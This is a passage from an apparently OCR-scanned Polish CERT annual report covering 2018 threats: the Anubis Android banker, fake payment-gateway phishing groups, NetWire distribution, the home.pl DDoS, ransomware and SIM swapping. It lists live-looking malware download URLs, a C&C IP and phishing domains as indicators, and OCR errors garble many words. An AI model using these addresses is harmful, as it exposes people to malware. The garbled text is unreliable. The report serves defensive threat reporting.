z poziomu konfiguracji systemu operacyjnego. Brak nazwy banku w pasku adresu stanowi tatwy do
zauwazenia sygnat ostrzegawczy.

Aktywnos$¢ tego malware’'u zaobserwowano tez w innych krajach. Wedtug raportu ASERT Team?®,
Danabot miat na celowniku co najmniej 7 krajéw, z czego najwiekszg aktywnosé dostrzezono we
Wioszech i w Polsce.

56 https://asert.arbornetworks.com/danabots-travels-a-global-perspective
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Anubis

W potowie stycznia na naszym blogu® pojawita sie analiza jednego z wariantéw ztosliwego oprogra-
mowania, pochodzgcego z rodziny BankBot. Opisywany malware wymierzony byt w uzytkownikéw
aplikacji mobilnych co najmniej 15 polskich bankéw. Wytudzajgc dane logowania oraz potrzebne
do autoryzacji kody SMS, umozliwiat kradziez sSrodkéw z konta ofiary. Niedtugo p6zniej wzmozong
aktywnos¢ wykazata nowa odmiana trojanéw bankowych. Anubis, podobnie jak jego poprzednik,
atakuje wiascicieli urzgdzeh z zainstalowanym systemem Android. Podobienstwa w kodzie i korela-
cje czasowe pozwalajg twierdzi¢, ze opisywana rodzina dziedziczy pewne cechy BankBota. Zostata
jednak rozbudowana o nowe mozliwosci ataku, tgczgc w sobie malware bankowy, oprogramowanie
typu RAT i popularny w ostatnim czasie ransomware.

Sposoéb dostarczenia

Dystrybucja Anubisa polegata na umieszczeniu ztosliwej aplikacji w serwisie Google Play lub skie-
rowaniu uzytkownika na fatszywg strone internetowa, skad pobierany byt malware. Przesytajac do
swoich ofiar wiadomosci SMS, oszuéci podszywali sie pod znane firmy i ustugodawcéw, informujgc
np. o oczekujgcej przesyice (przyktady ztosliwych wiadomosci zostaty opisane w oddzielnym artyku-
le na str. 38: ,Androidowe kampanie ztosliwego oprogramowania”).

Rysunek 36. Przyktad wiadomo$ci SMS, odsytajgcej do fatszywej witryny.

Zabieg socjotechniczny miat na celu naktonienie uzytkownika do wizyty na podstawionej stronie
i pobrania udostepnionej aplikacji. Urzgdzenia z systemem Android majg domysinie zablokowang
mozliwos¢ instalowania aplikacji z niezaufanych zrédet, co dla przestepcédw mogto okazaé sie pew-
nym utrudnieniem. Préba ominiecia zabezpieczen odbywata sie poprzez umieszczenie na ztosliwej
stronie instrukcji, zachecajgcej do zmiany konfiguracji urzadzenia.

Rysunek 37. Domyslinie zablokowana mozliwo$¢ instalowania aplikacji spoza sklepu Google.

57 https://www.cert.pl/news/single/analiza-polskiego-bankbota/

NASK



W przypadku dystrybucji bankera za posrednictwem Google Play, atakujgcy najczesciej korzystali
z dropperow. W sklepie Google umieszczana byfa funkcjonalna wersja dowolnej aplikaciji, ktéra po
uptywie okreslonego czasu (lub spetnieniu innych ustalonych warunkéw) przystepowata do pobiera-
nia wtasciwej czeéci ztodnika. Miato to na celu oszukanie mechanizméw bezpieczeristwa i opdznie-
nie wykrycia szkodliwej aplikacji.

Przebieg infekcji

Analizowany wariant Anubisa zostat przygotowany w taki sposéb, aby nie wzbudzaé podejrzen
u potencjalnej ofiary. Proces instalacji nie wymagat od uzytkownika przydzielania dodatkowych
uprawnien. Dopiero uruchomienie ztoliwego oprogramowania wykazywato wyrazne anomalie. Dato
sie zauwazy¢, ze z menu systemowego znikneta ikona aplikacji (celem zabiegu byto utrudnienie usu-
niecia zto$liwego narzedzia). Nastepnie ofiara byta przenoszona do ekranu utatwien dostepu. Tam
w natarczywy sposéb aplikacja wyswietlata komunikat, nakfaniajacy do przydzielenia jej wymaga-
nych uprawnien. Proces wymuszenia byt zaprojektowany w taki sposéb, aby wywotanie pojawiato
sie na ekranie w sposéb ciggly, do momentu wyrazenia odpowiedniej zgody. W miedzyczasie zain-
fekowane urzadzenie rejestrowato swojg obecnos¢ na serwerze C&C.

Rysunek 38. Proba wymuszenia niebezpiecznych uprawnien.

Do panelu przestepcy przesytany byt IMEI ofiary, wraz z adresem IP i nazwg operatora GSM.
W bazie danych zapisywana byfa tez wersja systemu operacyjnego, nazwa aplikacji za pomocg
ktérej dostarczono malware oraz flaga kraju, z ktérego tgczyto sie zainfekowane urzgdzenie. Za-
rzadzajgcy botnetem posiadat dostep do daty i godziny infekcji, a takze listy atakowanych aplikaciji,
zainstalowanych na telefonie ofiary.

Rysunek 39. Widok panelu do zarzgdzania botnetem.
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Komunikacja z botnetem odbywata sie za pomocg protokotu HTTP. W celu ograniczenia mozliwo$ci
wgladu w tres¢ zapytan (np. podczas inspekcji ruchu sieciowego) Anubis korzystat z szyfrowania
RC4 (zdefiniowany klucz byt zapisany w probce). Tak przygotowane zgdania, kodowane byty do
postaci base64 i przesytane do serwera.

POST /private/set data.php HTTP/1.1

Content-Length: 282

Content-Type: application/x-www-form-urlencoded

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; / )
Host:

Connection: close

Accept-Encoding: gzip, deflate

p=NGY3
I20DI=

Utatwienia dostepu (ang. Accessibility Services) to zbiér wbudowanych w system Android funkcji,
stworzonych z myslg o osobach potrzebujgcych niestandardowych metod komunikacji z urzgdze-
niem. Dzieki nim mozliwe jest uzyskanie dostepu do monitora brajlowskiego, sterowanie urzadze-
niem za pomocg gtosu, korzystanie z syntezatora mowy, etc. Niestety, korzystanie z Utatwien doste-
pu to takze chetnie stosowana przez przestepcéw metoda, biorgca udziat w procesie przejmowania
kontroli nad urzadzeniem. Dobrym przykltadem bedzie tu wykorzystana przez Anubisa funkcja,
pozwalajgca wchodzi¢ w interakcje z zawarto$cig wyswietlanych okien i komunikatéw bez udziatu
uzytkownika. W ten sposdb wymuszana byfa np. zmiana domy$inej aplikacji do obstugi wiadomosci
SMS. Kiedy na zainfekowanym urzgdzeniu wyswietlato sie zapytanie o mozliwo$¢ zmiany, malware
podejmowat btyskawiczne dziatanie i odpowiadat twierdzgco w swoim imieniu. Krétki czas reakcji na
zapytanie i szybkie zamkniecie okna powodowaly, ze proces przejecia kontroli nad aplikacjg prze-
biegat w sposéb trudny do zauwazenia.

Rysunek 40. Anubis wnioskuje o zmiane domysinej aplikacji do przesytania SMS-6w.

Funkcjonalnosé
Analizowany panel Anubisa posiada rozbudowane mozliwosci kontrolowania zainfekowanych urzg-

dzen. Widzimy w nim typowy dla trojanéw bankowych zestaw funkcji, a wiec: wykonywanie injectéw,
przechwytywanie SMS-0w, jak réwniez rejestrowanie sekwencji nacisnietych klawiszy (keylogging).
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Panel ma oddzielng sekcje, zajmujgcg sie gromadzeniem danych z kart ptatniczych. Widoczne
sg polecenia charakterystyczne dla narzedzi zdalnego dostepu, takie jak wykonywanie zrzutow
ekranu, nagrywanie dzwieku czy rejestrowanie obrazu wyswietlanego na urzadzeniu. Mozliwe
jest wysytanie polecen stuzgcych ustaleniu geolokalizacji ofiary, jak réwniez pobieranie wpiséw z
ksigzki adresowe;.

Panel dopuszcza mozliwosé masowego wysytania SMS-6w, przekierowania potgczen, a takze wy-
wotywania kodéw USSD. Istnieje techniczna mozliwos¢ pobrania spisu zainstalowanych aplikaciji,
ich uruchamiania oraz generowania fatszywych powiadomieh. W dole listy widoczne jest polecenie
Cryptolocker. Anubis to takze ztosliwe oprogramowanie szyfrujgce. Za jego pomocg mozliwe jest
odbieranie ofiarom dostepu do plikéw przechowywanych na urzadzeniu. Proces szyfrowania jest
odwracalny, pod warunkiem znajomo$ci klucza uzytego w procesie (ten definiowany jest przez prze-
stepce po wybraniu odpowiedniej opcji w panelu).

Rysunek 41. Widok listy polecen i konfiguracji bota w panelu Anubis II.

Analizowany wariant bankera, w dniu przeprowadzania analizy posiadat mozliwo$¢ wykradania da-
nych za pomocg naktadek do 185 serwiséw. W konfiguracji ztosliwego oprogramowania znajdowaty
sie nie tylko aplikacje bankowe, ale rowniez te zwigzane z obstugg poczty elektronicznej, mediéw
spotecznosciowych, platform zakupowych czy kryptowalut (wérdd nich pojawit sie m.in. Gmail, Fa-
cebook, Paypal, eBay oraz Amazon). 32 overlay’e dotyczyly polskich bankéw i ustugodawcow (lista
obstugiwanych aplikacji znajduje sie ponizej). Nalezy pamieta¢, ze rozbudowane mozliwosci wykra-
dania danych w przypadku Anubisa, nie muszg ogranicza¢ ataku do nizej wymienionych aplikacji.
W przypadku zastosowania keyloggera, mozliwe jest przechwytywanie danych wpisywanych do do-
wolnego okna czy formularza.
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com.getingroup.mobilebanking
eu.eleader.mobilebanking.pekao.firm
eu.eleader.mobilebanking.pekao
eu.eleader.mobilebanking.raiffeisen
pl.bzwbk.bzwbk24

pl.ipko.mobile

pl.mbank

alior.bankingapp.android
com.comarch.mobile.banking.bgzbnpparibas.biznes
com.comarch.security.mobilebanking
com.empik.empikapp
com.empik.empikfoto
com.finanteq.finance.ca
com.orangefinanse
eu.eleader.mobilebanking.invest
pl.aliorbank.aib

pl.allegro

pl.bosbank.mobile

pl.bph

pl.bps.bankowoscmobilna
pl.bzwbk.ibiznes24
pl.bzwbk.mobile.tab.bzwbk24
pl.ceneo

pl.com.rossmann.centauros
pl.fmbank.smart
pl.ideabank.mobilebanking
pl.ing.mojeing
pl.millennium.corpApp
pl.orange.mojeorange

pl.pkobp.iko

pl.pkobp.ipkobiznes
wit.android.bcpBankingApp.millenniumPL

Fatszywe strony posrednikéw ptatnosci

W 2018 r. znaczgco nasility sie ataki wykorzystujgce scenariusz z podszywaniem sie pod serwisy
ptatnosci online, takie jak Dotpay czy PayU. Przestepcy przy uzyciu réznych scenariuszy i metod
socjotechnych wysytali do ofiary informacje o koniecznosci dokonania ptatnosci online. Zazwyczaj
dotyczyta ona opfaty za przesytke kurierskg. Sam system byt oczywiscie fatszywy, stworzony i utrzy-
mywany na infrastrukturze przestepcéw. Jego strona wizualna byta identyczna z oryginatem. Nazwy
domen, na ktérych znajdowat sie system, zawieraty elementy charakterystyczne, powigzane z ptat-
nosciami, przesytkami czy firmami kurierskimi i miaty na celu uspienie czujnosci ofiar. Byty to m.in.
frazy:

- dotpay, bramka, paybylink, customer, twojaprzesylka, paynow, przelew, platnosc, dpdgroup, ku-

rier, vat, paycourier, przesylkadodomu, szybkiprzelew, dpdpoland, oplata, zamowienie, rachunek,dhl
-pay, inpost, furgonetka-24, eplatnosci itp.
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Falszywy system ptatnosci wygladat jak na rysunku 42.

Rysunek 42. Przykiad strony podszywajgcej sie pod system ptatnosci online.

Ofiara, po wybraniu banku, wpisaniu imienia, nazwiska, adresu, e-maila i numeru telefonu, byta
przekierowana na rzekomg strone banku.

Rysunek 43. Fatszywa strona iPKO.
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Rysunek 44. Fatszywa strona ING.

Po podaniu loginu i hasta, przestepcy logowali sie na konto ofiary i dodawali szablon przelewu do
»zaufanego odbiorcy”. Oczywiscie konto bankowe ,zaufanego odbiorcy” byto w posiadaniu przestep-
cow. Taki przelew mozna byto pdzniej wykonywaé bez uzycia kodéw potwierdzajgcych transakcje.
W momencie zdefiniowania takiego szablonu, na ekranie ofiary pojawiato sie okno z prosbg o po-
danie kodu jednorazowego. Fatszywy komunikat informowat o ptatnosci przez system dotpay. Jezeli
ofiara nie zwrdcita uwagi na tres¢ otrzymanego SMS-a, podawata kod atakujgcemu. Nastepnie ata-
kujgcy dokonywat transferu srodkéw z konta ofiary na wskazane konto ,zaufanego odbiorcy”.

Opisany proceder rozpoczat sie w potowie 2017 r. i trwa do dzis. Na przestrzeni tego czasu rozpozna-
no 5 odrebnych grup wykorzystujgcych opisany powyzej scenariusz. W pierwszej fazie mozna wyod-
rebni¢ dwie grupy, ktére zaczety dziatalno$¢ w podobnym okresie i to im przypisujemy wymyslenie
scenariusza. Nazwalismy je ,Payments” oraz ,Dotpay fr’. P6Zniej zaczeli pojawiac sie nasladowcy.

Grupa ,,Payments”

Pierwszy zgtoszony do CERT Polska incydent zwigzany z grupg ,Payments” odnotowali$my 6 sierp-
nia 2017 r. Dotyczyt on domeny bramka.mobi. Jak wynika z pdzniejszych analiz, pierwsze odnoto-
wane ataki miaty miejsce juz pod koniec maja 2017 r.

Cechy charakteryzujgce te, jak i inne grupy, to specyficzne Sciezki uzywane w fatszywym systemie
ptatnosci. W tym przypadku atakujgcy najczesciej umiejscawiat strony w katalogu /payments/ np.:

- [payments/interpay/index.php
- [payments/twojekonto/index.php
- [payments/mtransfer/index.php

Charakterystyczna byta takze nazwa bazy danych - ,gateway” - w ktérej zapisywano wykradzione
dane. Strona podszywajgca sie pod dotpay wygladata jak na rysunku 42. Dostepne byty wszystkie
wyswietlane banki.

Ostatnia kampania tej grupy zostata zaobserwowana 20 grudnia 2017 r. i dotyczyta domeny dosta-
wyw24.com.Tego samego dnia na torowym forum ,Cebulka” pojawito sie ogtoszenie uzytkownika
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~,Hochwanderek” dotyczgce sprzedazy bramki. Wskazane w ogtoszeniu linki jednoznacznie wskazu-
ja na bramke wykorzystywang przez grupe ,Payments”.

Rysunek 45. Ogtoszenie sprzedazy fatszywej bramki ptatnoSci.
Grupa ,,Dotpay fr”

W przypadku tej grupy, pierwszy odnotowany incydent miat miejsce 26 lipca 2017 r. i dotyczyt dome-
ny dotpay.se. Dziata ona niezmiennie od pierwszego zgtoszenia. Na przestrzeni tego czasu zauwa-
zalna byta pewna ewolucja fatszywej bramki, w zwigzku z czym charakterystyczne $ciezki zmieniaty
sie na przestrzeni czasu.

Na bardzo wczesnym etapie uzywano schematu:
- /Inew_payment/payments/BANK

Do kohca 2017 r.:
- [payment35133632/payments772/BANK/

Od poczatku 2018 r.:
- 2291ec1c83a719fce7602b9c1605fc_payment _3de88732a94a7c578/2e9800f81ab50b4fd1_pay-
ments_ae9037ed66f85923/BANK/

Pod koniec pazdziernika 2018 r. pojawit sie katalog o losowej nazwie, majgcy utrudni¢ znalezienie
fatszywej bramki na serwerze:

- /c3C/cc119fce7602b9c1605fc_payment _3de88732a94a7c57/

- /gga3/cc119fce7602b9c1605fc_payment_3de88732a94a7c57/

- /c44a/cc119fce7602b9c1605fc_payment 3de88732a94a7c57/

- luy63Cl/cc119fce7602b9c1605fc_payment_3de88732a94a7c57/

W poczatkowej fazie baza danych miata nazwe ,dotpayse_bank” lub ,dotpayuk_dotpay”. Pézniej
zmienita sie na ,dotpay_fr_dotpay” i jest uzywana do dzis.
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W przypadku tej grupy zidentyfikowano kilka fatszywych sklepéw, ktore wysytaty towar zazwyczaj
za pobraniem. Platnos¢ dotyczyta przesyiki kurierskiej i odbywata sie za posrednictwem falszywej
bramki. Byly to:

« eurortvagd24.pl
* pole-henny.com
* mojeklocki.com
+ telecop.in.net

Szczegdlnie interesujgcy jest przypadek dotyczgcy sklepu pole-henny.com, w ktérym réwnolegle
wykorzystano dwa scenariusze. Pierwszy dotyczyt préb kradziezy z wykorzystaniem fatszywej
bramki ptatnosci. W drugim nastepowata préba infekcji ofiary ztosliwym oprogramowaniem o nazwie
NetWire. Po dokonaniu zamowienia, ofiara otrzymywata drogg mailowg rzekomy plik .pdf, zawiera-
jacy ,list przewozowy” bgdz ,korekte”. Znajdowaty sie one pod adresami:

*  http://dhl-paczki.ml/list_przewozowy nr.102321312323_2018_07_05.pdf
»  http://dhl-paczki.ml/korekta2018 07 _05.pdf

* http://adobedc.cf/korekta2018_07_05.pdf

* http://adobedc.cf/list_przewozowy nr.102321312323_2018_07_05.pdf

W rzeczywistosci powodowaty one przekierowanie i pobranie zto$liwego oprogramowania spod ad-
reséw:

«  http://dhl-paczki.ml/list_przewozowy nr.102321312323_2018_07_05.pdf/adobe_install.exe
«  http://dhl-paczki.ml/korekta2018 07 _05.pdf/adobeinstall.exe

* http://adobedc.cf/korekta2018 07 _05.pdf/adobeinstall.exe

* http://adobedc.cf/list_przewozowy nr.102321312323_2018_07_05.pdf/adobe_install.exe

Ich uruchomienie powodowato przejecie petnej kontroli nad komputerem ofiary. Serwer C&C znaj-
dowat sie pod adresem 191.96.249.27. Byt on powigzany z innymi atakami, np. atakiem dotyczg-
cym przejecia profilu NSZZ Solidarno$é Stoczni Gdanskiej. Wydaje sie, ze w tym przypadku grupa
.Dotpay fr’ nawigzata wspotprace z inng grupg przestepczg, odpowiedzialng za infekcje z uzyciem
NetWire.

Rysunek 46. Schemat dystrybucji NetWire ze sklepu pole-henny.com.
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Grupa ,,nr 3”

Pierwszy incydent dotyczacy tej grupy wptynat do CERT Polska w marcu 2018 r. i dotyczyt domeny
pajmon.pl. Wiadomo jednak, ze grupa dziatata juz na poczgtku 2018 r.

Cechg charakterystyczng jest swoisty ,punkt wejscia” do bramki. Jest to pierwszy link, ktéry ma
schemat ,/?7997582=X&kwota=YY.ZZ". Jezeli wejscie nie nastepuje przez niego, zwracany jest ko-
munikat 404 — brak strony. Dodatkowo atakujacy wprowadzili szyfrowanie/zaciemnienie parametrow
przekazywanych do bramki, np.:

£tid=141Wte0709CvxjOX4nNgwpKWklJoy9S58%27&gat=U4CgsATwC-
2tANmQf&highlo=TLXocyd9YoTe3ExgClrlpHBfsoiniCted461S7CdXelxzYrzF&—
crypt=rItjlipIjiHyLLQlbogk0J50tQOnnzhcRéml4Tureorg2prZfxC6E6zsxEoDg-
ZZwE&newuser=2&tax=nHQg6RAboerETtRT1geOf7HbOgFKkG1ITLcZH3eFahBl1P4sR-
PH12LZ3SZricO3HYRKmXHgLg2&kwota=14.99

Na fatszywej stronie dotpay jest obstuga tylko kilku bankéw. Reszta jest widoczna, ale niedostepna
(wyszarzona), tak jak na rysunku 47.

Rysunek 47. Bramka grupy nr 3.
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Osoby odpowiedzialne za te bramke byty powigzane z wiamaniem do sklepu morele.net. Od 22
listopada 2018 r. rozpoczety sie ataki ukierunkowane na klientéw dokonujgcych zakupdéw we wspo-
mnianym sklepie. Pojawita sie tez dedykowana bramka.

Rysunek 48. Atak na klientéw morele.net (zrédfo: niebezpiecznik.pl)

Odnotowano kilka domen uzytych podczas ataku:

platnosci-morele.online
platnosc24.com
p-24.site
platnosci-24.com
px24.site

Chwile wczesniej, 15 listopada 2018 r., uzytkownik ,playboycarti” opublikowat na forum Cebulka ogto-
szenie dotyczgce fatszywej bramki dotpay. To on jest wiascicielem bramki nalezgcej do grupy nr 3.

Rysunek 49. Ogtoszenie ,playboycarti”.
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Grupa ,,PayyU”
22 listopada 2018 r. pojawita sie nowa grupa realizujgca scenariusz identyczny do poprzednich, przy

czym podszywata sie pod inng bramke ptatnosci, w tym przypadku PayU. Do konca roku odnotowa-
no 10 domen uzytych w ataku.

Rysunek 50. Bramka grupy PayU (zrédfo: zaufanatrzeciastrona.pl).

Grupa ,,2 min.”

Jest to najmiodsza grupa, odnotowano jeden incydent. 5 grudnia 2018 r. zostat rozestany mail pod-
szywajgcy sie pod Orange Polska, ktéry dotyczyt rzekomej zalegtej ptatnosci.

Rysunek 51. Zalegta ptatno$c (zrodfo: niebezpiecznik.pl).
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Wyodrebniono 3 warianty wiadomo$ci e-mail. W ich tresci zamieszczono linki przekierowujgce do
fatszywych bramek. Znajdowaty sie one pod ponizszymi adresami:

https://dotpay-platnosc.info/dotpay/index.html
https://orange-faktura-online.info/dotpay/index.html
https://orange-windykacja-dotpay.info/dotpay/index.html

Rysunek 52. Bramka grupy ,2 min.”

Na przestrzeni 2018 r. CERT Polska odnotowat prawie 180 domen uzytych przez powyzsze grupy.
Kazda z nich zawierata fatszywg bramke. Stanowig one tylko fragment catego procederu. Incyden-
téw bylo zapewne znacznie wiecej. Niestety tendencja jest wzrostowa i nalezy spodziewac¢ sie kon-
tynuacji i intensyfikaciji tego typu atakow w 2019 r.

DDoS na home.pl

24 wrzesnia doszto do przerwy w dostepie do wiekszosci ustug swiadczonych przez krajowego
dostawce hostingowego, firme Home.pl. Przyczyna incydentu byt atak DDoS skierowany na jego
serwery DNS.

Home.pl to krajowy dostawca hostingowy, ktéry wedtug rankigu®® portalu webhostingtalk.pl (nazwa.
pl) znajduje sie na drugim miejscu pod wzgledem liczby utrzymywanych domen z ponad 15 proc.
udziatem w rynku. Dostawca na swojej stronie> podaje, ze z jego ustug korzysta 375 tysiecy klien-
tow. Poza hostingiem stron, Home.pl oferuje takze szereg ustug towarzyszacych (m.in. webmail,

% https://top100.wht.pl dostep w dniu 18.01.2019
% http://home.pl dostep w dniu 18.01.2019
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certyfikaty SSL, sklepy, projektowanie oraz marketing), w oparciu o ktére funkcjonuje wiele krajo-
wych podmiotéw biznesowych. Niedostepno$¢ danej nazwy domenowej w internecie jest najczesciej
réwnoznaczna z paralizem prowadzonej dziatalnosci.

23 wrzesnia w godzinach wieczornych na oficjalnym koncie home.pl w serwisie Twitter®® pojawita sie
informacja o problemach zwigzanych z dostepem do wielu ustug dostawcy.

Rysunek 53. Informacja o niedostepnosci ustug home.pl (zrédto: https://twitter.com/home_pl/status/1044110726275756033).

24 wrzesnia o godzinie 7.22, na internetowym serwisie wykop.pl, pojawit sie wpis o nazwie ‘home.pl
nie dziata (9 °)®", w ktérym internauci korzystajgcy z ustug dostarczanych przez Home.pl sygnali-
zowali problemy juz od godziny 22:00 dnia poprzedniego. Watek szybko zyskat wysokg popularnos¢
oraz byt aktywnie komentowany. Obstuzenie niektérych zapytan DNS przez atakowane serwery
sprawiato wrazenie rozwigzania problemu, jednak do godziny 10:00 dnia 24 wrzesnia infrastruktura
dostawcy byta sparalizowana.

Home.pl informowat o postepach w rozwigzywaniu problemu za posrednictwem swoich profili w so-
cial media. Z powodu ataku niemozliwe byto udzielenie odpowiedzi elektronicznej za pomoca dedy-
kowanego formularza. Infolinia telefoniczna takze nie byta w stanie obstuzyé zapytan w opisywanej
sprawie. Dodatkowym wzmocnieniem oddziatywania ataku byt fakt, ze miat on miejsce z niedzieli na
poniedziatek. Dla wielu przedsiebiorcow, np. dziatajgcych w branzy e-commerce lub logistyce, jest
to czas obstugiwania zapytah nagromadzonych w czasie weekendu. Okoto potudnia 24 wrzesnia,
na stronie przeznaczonej dla prasy pojawit sie komunikat®? w sprawie opisywanego incydentu. Firma
potwierdzita, ze doszto do ataku na serwery DNS. Wskazata takze, ze jego wolumen byt najwiek-
szym z dotychczas przez nich odnotowanych. Réwnoczesnie zapewniono, ze podjeto dziatania ma-
jace na celu przeciwdziatanie podobnym incydentom w przysziosci.

Na prosbe CERT Polska, Home.pl udzielit odpowiedzi na temat przebiegu ataku. Rozpoczat sie on
w godzinach wieczornych 23 wrzesnia i z rézng czestotliwoscig nasilenia trwat do 25 wrzesnia do
godziny 3:30. W szczytowym momencie jego sita przekroczyta 50Gbps. Wéwczas zabezpieczenia
po stronie dostawcy okazaly sie niewystarczajgce. Atak miat charakter rozproszony, a jego Zrédta
pochodzity takze spoza Polski. Home.pl szacuje, ze incydent oddziatywat na okoto 3 min internau-
téw, ktérzy w mniej lub bardziej ucigzliwy sposéb doswiadczyli jego skutkow.

80 https://twitter.com/home_pl
51 https://www.wykop.pl/link/4547075/home-pl-nie-dziala-%CA%96/
62 https://homepl.prowly.com/39319-komunikat-w-sprawie-ataku-ddos
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Jednym ze znaczacych podmiotéw dotknietych opisywanym atakiem byta firma Skycash, oferujgca
mozliwosé ptatnosci mobilnych. Aplikacja jest szeroko wykorzystywana w Polsce przy zlecaniu pfat-
nosci za bilety komunikacyjne, a takze parkingowe. Zarzadzajacy oficjalnym profilem Facebook Sky-
cash® poinformowali, ze $wiadczone przez nich ustugi sg $cisle zwigzane z dostepnoscig infrastruk-
tury Home.pl, dlatego tez do momentu rozwigzania problemu nie byto mozliwe ich przywrécenie.

Rysunek 54. Informacja o ataku na Home.pl opublikowana na oficjalnym profilu Facebook Sky Cash.

Home.pl ujawnit, ze przyczyna wystagpienia opisywanego ataku jest nieznana. Bardzo czesto tego
typu incydenty sg poprzedzone prébami zadania okupu w zamian za zaniechanie jego przeprowa-
dzenia. W tym przypadku sprawcy nie ujawnili swoich oczekiwah. Home.pl ztozyt zawiadomienie
do prokuratury w tej sprawie.

Ransomware

Ransomware, czyli ztosliwe oprogramowanie majgce na celu wytudzenie okupu od uzytkownika jest
obecnie jednym z najczesciej wystepujgcych zagrozeh w cyberprzestrzeni. Zasada dziatania jest
niemal zawsze taka sama - oprogramowanie szyfruje pliki na komputerze ofiary, a nastepnie zgda
wplaty okreslonej kwoty na konto atakujgcego w zamian za klucz niezbedny do ich odszyfrowania.

W 2018 r. obserwowalismy gtéwnie aktywnos¢ rodzin Gandcrab, Globelmposter (w nowej wersji
2.0) i Dharma.

8 https://www.facebook.com/skycash/
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2018 to rowniez kolejny rok uczestnictwa zespotu CERT Polska w projekcie No More Ransom -
miedzynarodowej inicjatywie majgcej na celu edukacje, uswiadamianie i pomoc ofiarom wymuszen.
Serwis No More Ransom zostat zatozony w 2016 r. przy wspolnym udziale Europolu, National High
Tech Crime Unit, Kaspersky Lab i McAfee. Oprocz szeroko zakrojonych akcji informacyjnych, serwis
udostepnia narzedzia deszyfrujgce do rodzin ransomware’u, w ktérych znalezione zostaty btedy
w procesie szyfrowania, badz ktorych klucze szyfrujgce udato sie przeja¢ w wyniku $ledztwa.
W wielu przypadkach daje to ofiarom mozliwo$¢ odzyskania utraconych danych bez koniecznosci
ptacenia pieniedzy przestepcom. Pod koniec grudnia 2018 r. w serwisie No More Ransom znajdo-
waly sie dekryptory do 94 rodzin ztosliwego oprogramowania.

W kwietniu 2018 r. zesp6t CERT Polska opublikowat, dzieki wspoétpracy z Biurem do Walki z Cy-
berprzestepczoscia Komendy Gtéwnej Policji oraz Prokuraturg Okregowg w Warszawie narzedzie
deszyfrujgce rozprowadzanego w Polsce ztosliwego oprogramowania znanego pod nazwami Vor-
tex, Polski Ransomware i Flotera. Przejete klucze pozwalajg na odzyskanie plikdw z komputeréw
zarazonych w kampaniach obserwowanych w 2017 i 2018 r. Dekryptor mozna znalez¢ pod adresem
https://nomoreransom.cert.pl/vortex/

Jest to juz czwarta rodzina ransomeware’u, dla ktérej CERT Polska wydat narzedzie deszyfrujgce.
W 2017 r. powstaty podobne rozwigzania dla rodzin CryptoMix, CryptoShield oraz Mole. Opracowa-
ne przez CERT Polska dekryptory pozwolity na pomysine rozszyfrowanie od kilku do kilkudziesieciu
przypadkow.

Nalezy zaznaczy¢, ze No More Ransom oraz CERT Polska stanowczo odradzajg ptacenie okupu
przestepcom. Nie ma zadnej gwarancji, ze po zaptaceniu rzeczywiscie uda sie odzyskac dane. Moze
by¢ to spowodowane ztymi intencjami twércéw ztosliwego oprogramowania lub btedami w samym
kodzie, ktére moga spowodowac trwate i nieodwracalne uszkodzenie plikéw. Ponadto kazdy wptaco-
ny okup wspiera dziatalno$¢ przestepcéw i utwierdza ich w skutecznosci tych dziatan.

Nieodpowiednio zabezpieczone drukarki w polskiej przestrzeni adreséw IP

Na poczatku listopada 2018 r. zesp6t CERT Polska otrzymat informacje o incydentach, polegajgcych
na nieuprawnionym wykorzystaniu drukarek, znajdujgcych sie w sieciach zgtaszajgcych instytucji.
Atakujacy wykorzystali w tym wypadku stabe zabezpieczenie urzgdzen (dane uwierzytelniajgce
w postaci domysinego loginu i hasta) oraz ich dostepnos¢ w publicznej przestrzeni adreséw IP. Kaz-
dorazowo incydent dotyczyt wydrukowania na przejetym urzgdzeniu, przestanego przez atakujgcych
dokumentu w liczbie kilkuset egzemplarzy.

Wedtug danych z serwisu Shodan, w dniu sporzgdzania raportu w Polsce dostepnych byto 848
urzadzen zidentyfikowanych w charakterze drukarek, przedstawiajgcych sie w internecie za pomoca
publicznych adreséw IP. Widocznos¢ urzadzen z zewnatrz, dostep do panelu administratora przy
uzyciu standardowych danych logowania, a w niektérych wypadkach brak koniecznoéci uwierzy-
telniania, czyni z nich atrakcyjny cel dla atakujgcych. Dostep do interfejsu zarzadzajgcego, w za-
leznosci od uzytego modelu pozwala zleca¢ zadania drukowania, pobiera¢ zapisane dokumenty
oraz korzysta¢ z innych funkcjonalno$ci, wtgczajgc w to wysytke poczty elektronicznej i podmiane
oprogramowania drukarki. Przejeta drukarka moze zosta¢ wykorzystana do dalszej eskalacji ataku,
pozwalajgc na dostep do innych urzadzen w sieci.
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Rysunek 55. Liczba publicznie dostepnych drukarek rozpoznanych w polskich sieciach.

W celu minimalizacji ryzyka zalecamy: ograniczenie widocznosci i mozliwosci logowania do urza-
dzen z publicznej przestrzeni adresowej, zmiane domysinych danych uwierzytelniajgcych i stosowa-
nie polityki bezpiecznych haset. Rekomendujemy réwniez korzystanie z wbudowanych przez pro-
ducenta mechanizméw bezpieczenstwa, wytgczenie ustugi UPnP oraz posiadanie aktualnej wersji
firmware’u na urzadzeniu.

Technika duplikowania kart SIM

W 2018 roku z kraju docieraty liczne informacje na temat przypadkéw kradziezy pieniedzy z wyko-
rzystaniem techniki opartej o wymiane karty SIM (tzw. SIM-swap). Ofiarg padali internauci posiada-
jacy aktywny dostep do systemu bankowosci internetowej. Noty policyjne wskazywaty ponadto, ze
byli to przedsiebiorcy lub osoby prywatne posiadajgce znaczace aktywa na rachunkach. Oszustwo
wymagato spetnienia pewnych warunkéw. W pierwszej kolejnosci atakujgcy dazyt do pozyskania
danych dostepowych (login oraz hasto) do systemu bankowosci ofiary. W tym celu stosowat techni-
ki phishingowe, infekcje zto$liwym oprogramowaniem lub atak socjotechniczny. Skompromitowane
dostepy bardzo czesto stanowity rowniez przedmiot handlu tzw. podziemia. W nastepnym kroku ata-
kujgcy ustalat czy ofiara jest interesujgcym celem, a takze czy kanatem autoryzacji zlecen jest kod
SMS. Jezeli tak, podejmowano probe nieautoryzowanego przejecia numeru telefonu poprzez wizyte
w salonie operatora telefonii komorkowej.
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Prawdopodobnie jednym z pierwszych krajowych przypadkéw przejecia numeru dla osiggniecia ko-
rzysci finansowej byt ten opisany w 2013 roku®. O niedoskonatos$ci procedur po stronie operatorow
telefonii komoérkowej juz w 2009 roku méwit dziennikarz radiowy®®. Jednak wéwczas nie byto to jesz-
cze przedmiotem zainteresowania zorganizowanych grup przestepczych.

Problem okazat sie na tyle istotny, ze krajowy regulator telekomunikacyjny UKE, wydat ostrzezenie
dla uzytkownikoéw, kierujgc jednoczesnie prosbe® w strone operatoréw o przedsiewziecie stosow-
